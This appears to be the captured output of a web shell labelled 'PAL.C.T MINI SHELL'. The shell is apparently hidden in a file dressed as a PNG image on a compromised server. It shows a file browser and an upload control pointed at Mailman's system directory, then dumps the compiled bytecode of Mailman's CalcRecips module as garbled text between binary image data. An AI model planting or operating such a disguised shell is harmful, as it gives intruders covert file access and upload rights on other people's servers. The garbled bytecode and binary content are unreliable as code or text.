php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Handlers/
upload
files >> //usr/lib/mailman/Mailman/Handlers/CalcRecips.pyo

Pc@sdZddkZddklZddklZddklZddklZddkl	Z	ddk
lZdd	kl
Z
dd
klZddklZyeWn#ej
oddklZnXd
ZdZdZdZdS(sSCalculate the regular (i.e. non-digest) recipients of the message.

This module calculates the non-digest recipients for the message based on the
list's membership and configuration options.  It places the list of recipients
on the `recips' attribute of the message.  This attribute is used by the
SendmailDeliver and BulkDeliver modules.
iN(tmm_cfg(tUtils(tMessage(tErrors(tENABLED(tMailList(t_(tsyslog(tMMUnknownListError(tSetc
Cs|idodSd}|i}y$|i|tio
d}nWntij
onXg}|id|}||j	o{|iti	ti
f|o.|i|i|i
}||d<dS|i}td}	titi|	ng}
|iD]0}|i|tjo|
|i|qq~
}|p=y|i|i|Wqtitfj
oqXnt||||t||||}t||||}||d<dS(NtrecipsiiturgentsYour urgent message to the %(realname)s mailing list was not authorized for
delivery.  The original message as received by Mailman is attached.
(thas_keyt
get_sendertgetMemberOptionRtDontReceiveOwnPostsRtNotAMemberErrortgettAuthenticatetAuthListModeratort
AuthListAdmintgetMemberCPAddressestgetRegularMemberKeystgetDigestMemberKeyst	real_nameRt
RejectMessageRtwraptgetDeliveryStatusRtgetMemberCPAddresstremovet
ValueErrortdo_topic_filterst
do_excludet
do_include(tmlisttmsgtmsgdatatinclude_sendertsendertmissingtpasswordR
trealnamettextt_[1]tm((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/CalcRecips.pytprocess-sF
	

		3	c	Cs|ipdS|id}g}|obx|D]S}|i|}|pq2nx-|D]}||joPq\q\W|i|q2WnPxL|D]D}|i|pqn|i|tip|i|qqWx|D]}|i|qWdS(Nt	topichits(ttopics_enabledRtgetMemberTopicstappendRRtReceiveNonmatchingTopicsR(	R"R#R$R
thitst	zaprecipstusertutopicsttopic((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/CalcRecips.pyRjs2

		
cCs|ip|St|}tii|idg|idg}g}|D]\}}||iqT~}x;|iD]0}|i}||joqn|id\}	}
|	|ijot	dd|qnyt
|	dt}Wn&tj
ot	dd|qnXt
io'|i|
jot	dd|qntg}|iD]0}
|i|
tjo||i|
qjqj~}||8}qWt|S(	Nttotcct@terrors$Exclude list %s is a self reference.tlocksExclude list %s not found.s*Exclude list %s is not in the same domain.(tregular_exclude_liststsettemailRtgetaddressestget_alltlowertsplitt
internal_nameRRtFalseRRtALLOW_CROSS_DOMAIN_SIBLINGt	host_nameRRRRtlist(R"R#R$R
tdestinationsR+txtytlistnametlistlhsthostnametslistt_[2]R,tsrecips((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/CalcRecips.pyR s>
-

		
6cCs|ip|St|}tii|idg|idg}g}|D]\}}||iqT~}x;|iD]0}|i}||joqn|id\}	}
|	|ijot	dd|qnyt
|	dt}Wn&tj
ot	dd|qnXt
io'|i|
jot	dd|qntg}|iD]0}
|i|
tjo||i|
qjqj~}||O}qWt|S(	NR8R9R:R;s$Include list %s is a self reference.R<sInclude list %s not found.s*Include list %s is not in the same domain.(tregular_include_listsR>R?RR@RARBRCRDRRRERRRFRGRRRRRH(R"R#R$R
RIR+RJRKRLRMRNRORPR,RQ((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/CalcRecips.pyR!s>
-

		
6(t__doc__temail.UtilsR?tMailmanRRRRtMailman.MemberAdaptorRtMailman.MailListRtMailman.i18nRtMailman.Logging.SyslogRtMailman.ErrorsRR>t	NameErrortsetsR	R-RR R!(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/CalcRecips.pyt<module>s$	=	.	%
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`